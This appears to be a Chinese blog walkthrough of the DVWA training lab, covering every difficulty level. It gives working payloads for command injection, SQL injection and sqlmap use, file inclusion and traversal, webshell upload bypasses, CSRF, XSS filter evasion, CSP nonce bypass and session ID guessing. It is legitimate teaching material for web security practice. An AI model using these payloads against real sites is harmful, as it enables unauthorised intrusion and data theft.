MENU

DVWA靶机

September 8, 2020 • Read: 1789 • 靶机阅读设置

DVWA靶机

1. 简单

暴力破解

  1. 抓包,暴力破解
  2. 发现一个账户:pablo,密码:letmein

    命令注入

  3. 输入ip会查看ping值
  4. 输入1;ls /可以查看根目录下的文件

    CSRF

  5. 获得修改密码的urlhttp://dvwa.com/vulnerabilities/csrf/?password_new=xdym&password_conf=xdym&Change=Change#
  6. 修改password和password_conf字段的值,如果已经登录,访问该网址就会修改密码成功

    文件包含

  7. 发现url中包含了文件名,随意输入一个不存在的文件名,然后会报错出现绝对路径
  8. 根据绝对路径构造url访问主机中的文件
  9. http://dvwa.com/vulnerabilities/fi/?page=../../../../../home/www/1.txt即可访问该目录下的文件

    文件上传

  10. 直接上传phpinfo.php,根据返回的提示直接输入网址,打开显示phpinfo
  11. 也可以使用一句话

    Insecure CATCHA

  12. 需要使用Google验证码,无法测试

    SQL注入

  13. 输入1'报错
  14. 输入1'#正常显示,是单引号注入
  15. 输入1'order by 1#显示正常,输入到3时,报错
  16. 输入1'union select 1,2#确定显示位置,输入1'union select 1,group_concat(database())#显示dvwa

    SQL盲注

  17. 使用sqlmap盲注
  18. python sqlmap.py -r 1.txt -dbs检测出所有数据库

    弱会话ID1

  19. 点击Generate按钮,抓包显示cookie中会包含一个dvwaSession的字段,这个字段随着点一次按钮,该session自增加1
  20. 该版本的cookie存放有问题,退出登录后会默认

    XSS(DOM)

  21. GET方式提交数据,所以直接在url中插入xss代码<script>alert(1)</script>即可

    XSS(Reflected)

  22. 在对话框中输入<script>alert(1)</script>弹窗成功

    XSS(Stored)

  23. 在name处插入XSS,发现限制字符数
  24. 在message处插入XSS<script>alert(1)</script>提交后弹窗

    CSP Bypass

JavaScript

  1. 输入success,显示错误的token
  2. 查看源码
  3. 因为打开网页上输入的是ChangeMe,所以在源码中对ChangeMe进行了md5处理,于是应该先输入success,然后再执行script中的generate_token()函数,会得到正确的token

    2. 中等

    暴力破解

  4. 输入用户名、密码,然后抓包登录
  5. 将包发送到Intruder,然后对password直接爆破即可

    命令注入

  6. 查看源码,发现过滤了;&&,但是还可以使用||&
  7. 输入1& /.即可查看根目录

    CSRF

  8. 抓修改密码的包
  9. 将包发送到Repeater,修改密码,发送,修改密码成功
  10. 或者伪造一个提交页面,然后再通过抓包修改referer即可

    文件包含

  11. 根据源码看到使用了str_replace函数,该函数将匹配到的字符串进行替换,所以可以使用双写绕过
  12. 输入urlhttp://dvwa.com/vulnerabilities/fi/?page=hthttp://tp://xdym11235.com包含成功

    文件上传

  13. 无法直接上传php文件
  14. 上传php文件后修改Content-Type字段为image/jpeg
  15. 打开上传的文件,即可查看phpinfo

    Insecure CAPTCHA

  16. 需要使用Google验证码,无法测试

    SQL注入

  17. 提交ID后抓包
  18. 修改POST包中的id字段为id=3 and 1=1#正常显示
  19. 修改POST包中的id字段为id=3 and 1=2#显示错误,数字型注入
  20. 输入id=3 union select 1,database()查看数据库

    SQL注入盲注

  21. 使用sqlmap直接注入即可

    弱会话ID

  22. 获取ID
  23. ID是以Unix时间生成,所以可以伪造

    XSS(DOM)

  24. 尝试简单的payload<script>alert(1)</script>不行
  25. 查看源码,发现过滤<script>
  26. 使用<img src=# onerror=alert(1)>无果,检查元素,发现<img>标签被包裹在<select><option>中,所以无法执行
  27. 闭合<select><option>标签后再输入"></option></select><img src=# onerror=alert(1)>即可

    XSS(Reflected)

  28. 输入<script>alert(1)</script>发现过滤<script>标签
  29. 尝试</pre></div><img src=# onerror=alert(1)>成功

    XSS(Stored)

  30. 姓名那里限制输入字符所以在留言板输入<script>alert(1)</script>发现过滤<script>
  31. 输入<img src=# onerror=alert(1)>即可弹窗

    CSP Bypass

  32. 任意输入后抓取返回包,发现Content-Security字段Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
  33. 输入<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>alert(1)</script>即可

    JavaScript

  34. 输入success
  35. 在控制台中输入do_elsesomething("XX")

3. 高等

暴力破解

  1. 提交用户名密码并抓包,发现会同时提交用户token
  2. 使用burp的暴力破解模块的pitchfork模式
  3. 返回的网页中包含用户token,所以可以使用正则表达式标注token后进行暴力破解

    命令注入

  4. 查看源码,发现有个过滤是|
  5. 不加空格即可
  6. payload1|ls

    CSRF

  7. 有token,无法绕过

    文件包含

  8. 要求必须使用file开头的文件
  9. 使用文件协议打开文件即可
  10. payloadfile:////www/wwwroot/dvwa.com/.user.ini

    文件上传

  11. 上传图片马
  12. 利用文件包含将图片马解析为php

    Insecure CAPTCHA

  13. 需要使用Google验证码,无法测试

    SQL注入

  14. 输入1'union select 1,2#注入成功

    SQL盲注

弱会话ID

  1. 点击生成会话ID
  2. 根据ID的位数猜想为md5
  3. 对ID进行md5解密即可

    XSS(DOM)

  4. 浏览器特性2
  5. default字段后输入#再输入XSS

    XSS(Reflected)

  6. 输入<script>alert(1)</script>过滤了<script>的通配符
  7. 尝试无害的<img>命令
  8. payload为<img src=# onerror=alert(1)>

    XSS(Stored)

  9. Message输入框过滤
  10. Name输入框有限制,所以需要抓包修改Name输入框
  11. payload为<img src=# onerror=alert(1)>

    CSP Bypass

JavaScript

  1. 在对话框中输入success
  2. 在控制台中输入token_part_1("ABCD", 44)
  3. 在控制台中输入token_part_2("XX")
  4. 提交即可

  1. 当用户登录后,服务器会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带这个session就可,所以sessionID作为特定用户访问站点的唯一内容,如果能够计算或轻易猜到sessionID,则攻击者可以轻易的获取访问权。
  2. 浏览器不会发送#后的信息
Last Modified: August 16, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code